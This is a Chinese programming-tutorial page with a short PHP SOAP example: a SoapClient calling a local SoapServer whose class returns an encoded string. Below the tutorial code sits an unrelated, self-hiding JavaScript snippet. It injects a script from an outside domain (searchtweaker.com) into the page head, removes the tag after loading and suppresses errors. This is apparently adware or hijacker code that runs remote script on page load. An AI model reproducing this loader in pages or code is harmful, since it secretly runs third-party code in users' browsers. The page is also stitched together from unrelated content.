您的位置:首页 > 编程语言 > PHP开发

PHP SOAP 使用示例

2014-07-02 15:16 302 查看
soap_client.php

<?php
try {
$client = new SoapClient(
null,
array('location' =>"http://localhost/soap_server.php",'uri'=>"http://test-uri")
);
echo $client->getVar();

} catch (SoapFault $fault){
echo "Error: ".$fault->faultcode."<br/> String: ".$fault->faultstring;
}


soap_server.php

<?php
$soap = new SoapServer(null,array('uri'=>"http://test-uri"));
$soap->setClass('MyClass');
$soap->handle();
class MyClass {
public $var = 'Hello';
function getVar() {
return xmlrpc_encode($this->var);
}
}
?>


// (function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();
// ]]>
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: